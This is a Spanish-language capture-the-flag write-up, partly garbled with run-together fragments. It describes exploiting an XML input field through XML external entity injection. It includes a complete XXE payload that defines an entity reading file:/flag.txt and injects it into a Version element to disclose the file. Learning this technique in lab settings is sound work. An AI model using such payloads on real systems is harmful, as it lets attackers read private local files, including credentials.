Durante el CTF, encontramos un campo que aceptaba entrada en formato XML. Al inyectar texto plano, el sistema lanzaba un error indicando que esperaba un elemento raíz llamado <FirmwareUpdateConfig>. Además, el sistema daba errores al faltar elementos específicos, mostrando que el XML debía seguir una estructura muy concreta.
Extraer la flag almacenada en el sistema (posiblemente en un archivo llamado /flag o /flag.txt) a través de inyección XML.
<FirmwareUpdateConfig>.<FirmwareUpdateConfig> raíz<Firmware><Firmware>, un elemento <Version><!DOCTYPE ...> y definiciones de entidades externas.xxe apuntando a un archivo local del sistema (file:/flag.txt).&xxe; dentro del XML, el parser al procesar el XML sustituía esa entidad por el contenido del archivo referenciado, revelando así la flag.<!DOCTYPE FirmwareUpdateConfig [
<!ENTITY xxe SYSTEM "file:/flag.txt">
]>
<FirmwareUpdateConfig>
<Firmware>
<Version>&xxe;</Version>
</Firmware>
</FirmwareUpdateConfig>
xxe lee el archivo /flag.txt./flag.txt se inyecta dentro del nodo <Version>, y se muestra en la respuesta.El sistema respondió con un mensaje que contenía la flag: